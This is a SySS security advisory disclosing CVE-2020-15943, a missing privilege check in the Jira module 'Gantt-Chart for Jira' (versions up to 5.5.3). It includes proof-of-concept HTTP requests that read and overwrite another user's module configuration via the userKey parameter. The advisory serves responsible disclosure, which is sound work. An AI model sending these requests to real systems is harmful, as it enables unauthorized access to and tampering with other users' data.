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[SYSS-2020-029]: Jira module "Gantt-Chart for Jira" - Improper Privilege Management (CWE-269)(CVE-2020-15943)

From: Sebastian Auwärter <sebastian.auwaerter () syss de>
Date: Mon, 3 Aug 2020 16:57:52 +0200

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Advisory ID: SYSS-2020-029
Product: Jira module "Gantt-Chart for Jira"
Manufacturer: Frank Polscheit - Solutions & IT-Consulting
Affected Version(s): <=5.5.3
Tested Version(s): 5.5.3
Vulnerability Type: Improper Privilege Management (CWE-269)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2020-07-23
Solution Date: 2020-07-30
Public Disclosure: 2020-08-03
CVE Reference: CVE-2020-15943
Author of Advisory: Sebastian Auwaerter, SySS GmbH

Overview:

Gantt-Chart for Jira is a Jira module for displaying Gantt charts.

The manufacturer describes the product as follows (see [1]):

"High performance Gantt-Chart capable to display multi-projects with 10.000+ issues aggregating them as top-level big picture"

Due to a missing privilege check, it is possible to read and write the module configuration of other users. This can also be used to deliver a cross-site scripting payload to other user dashboards, as described in security advisory SYSS-2020-030 (see [4]).

To exploit this vulnerability, an attacker has to be authenticated.

Vulnerability Details:

The API endpoints for reading and updating the configuration of the Jira module require the user ID of a user via the variable `userKey`. Due to a missing privilege check, the user ID of another user can be sent instead of the own user ID to read and update a victim's module configuration.

Proof of Concept (PoC):

Getting a username of a victim:

The username of a victim can be seen by browsing their profile.

Getting the chart IDs of the victim

The chart IDs of another user can be enumerated with the following request:

```
- ----  
GET /rest/gantt/1.0/user/properties?userKey=<victim_user_name>&_=<unix  
timestamp ('date +%s')> HTTP/1.1  
Host: <victim_host>  
[...]
```

The response should look something like:

```
HTTP/1.1 200  
[...]  
  
{"keys":[{"key":"gantt-A"}, {"key":"gantt-B"}]}
```

The `<chart_id>` in the following requests should therefore be `gantt-A` or `gantt-B`.

Getting the current configuration of the module for that user

The configuration for those charts can be read with the following request:

```
- ----  
GET  
/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>&_=<unix  
timestamp ('date +%s')> HTTP/1.1  
Host: <victim_host>
```

The response should look something like:

```
HTTP/1.1 200  
[...]  
  
<configuration as JSON>  
- ----
```

Pushing a new configuration for the victim

The victim's configuration can then be updated by the attacker using the following request. The configuration, especially the filter section, can be prepared beforehand:

```
PUT  
/jira/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>  
HTTP/1.1  
Host: <victim_host>  
[...]  
< (edited) configuration as JSON>
```

The server will update the victim's configuration which can then be verified by downloading the victim's configuration again with the

second GET request mentioned in this advisory.

Solution:

Update to software version 5.5.4.

Disclosure Timeline:

2020-07-21: Vulnerability discovered
2020-07-23: Vulnerability reported to manufacturer
2020-07-30: Patch released by manufacturer
2020-08-03: Public disclosure of vulnerability

References:

[1] Product Website for Jira Module "Gantt-Chart"

<https://marketplace.atlassian.com/apps/28997/gantt-chart-for-jira?hosting=cloud&tab=overview>

[2] SySS Security Advisory SYSS-2020-029

<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-029.txt>

[3] SySS Responsible Disclosure Policy

<https://www.syss.de/en/news/responsible-disclosure-policy/>

[4] SySS Security Advisory SYSS-2020-030

<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-030.txt>

Credits:

This security vulnerability was found by Sebastian Auwaerter of SySS GmbH.

E-Mail: sebastian.auwaerter@syss.de

Public Key:

https://www.syss.de/fileadmin/dokumente/PGPKeys/Sebastian_Auwaerter.asc

Key Fingerprint: F98C 3E12 6713 19D9 9E2F BE3E E9A3 0D48 E2F0 A8B6

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